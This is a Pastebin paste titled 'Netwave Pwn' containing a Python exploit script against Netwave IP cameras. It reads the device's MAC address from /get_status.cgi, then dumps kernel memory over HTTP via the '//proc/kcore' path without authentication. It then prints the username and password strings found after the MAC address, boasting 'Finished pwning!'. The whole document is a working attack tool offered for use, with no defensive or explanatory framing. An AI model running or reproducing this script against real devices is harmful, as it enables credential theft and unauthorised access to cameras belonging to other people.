heret1c

Netwave Pwn

Jan 2nd, 2020
692
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.62 KB | None | 0 0
  1. import urllib.request
  2. import sys
  3.  
  4. def getStrings(data:bytes, strlen:int):  
  5.     retData = []
  6.     tmpstr = ""
  7.     for b in data:
  8.         #is ascii char?
  9.         if b >= 0x20 and b <= 0x7E:
  10.             tmpstr += str(chr(b))
  11.         else:
  12.             if(len(tmpstr) >= strlen):
  13.                 retData.append(tmpstr)
  14.             tmpstr = ""
  15.     return retData
  16.  
  17.  
  18. def getData(url:str) -> bytes:
  19.     print("\t>>> Fetching data from http://" + ip + url)
  20.     with urllib.request.urlopen('http://'+ip+url) as response:
  21.         data = response.read()
  22.    
  23.     return data
  24.  
  25. args = sys.argv
  26. argc = len(args)
  27. if(argc <= 1):
  28.     print("Usage: " + args[0] + " <target ip>")
  29.  
  30. ip = args[1]
  31.  
  32. print("\nFetching device status to get mac address...")
  33. status = getData('/get_status.cgi')
  34. status = getStrings(status,0)
  35. macaddr = status[0].split('\'')[1]
  36. print("\t>>> Got mac address from status: " + macaddr)
  37.  
  38.  
  39.  
  40. print("\nFetching kcore memdump (~16mib), this might take a while...")
  41. memdump = getData('//proc/kcore')
  42. print("\t>>> Done!")
  43. memdump_strings = getStrings(memdump,4)
  44.  
  45. print("\nSearching for MAC-Address in memdump...")
  46. found_mac = False
  47. username = True
  48. i = 0
  49. for string in memdump_strings:
  50.     if(found_mac):
  51.         if(username):
  52.             print("\t\t>>> Username: " +string)
  53.         else:
  54.             print("\t\t>>> Password: " +string+"\n")
  55.         username = not username
  56.         i += 1
  57.     if(i == 16):
  58.         print("Finished pwning! ( ಠ ᴗ ಠ )")
  59.         exit()
  60.         i = 0
  61.     if(macaddr == string):
  62.         found_mac = True
  63.         print("\t>>> Found the mac address, printing dumps\n")
Advertisement
Add Comment
Please, Sign In to add comment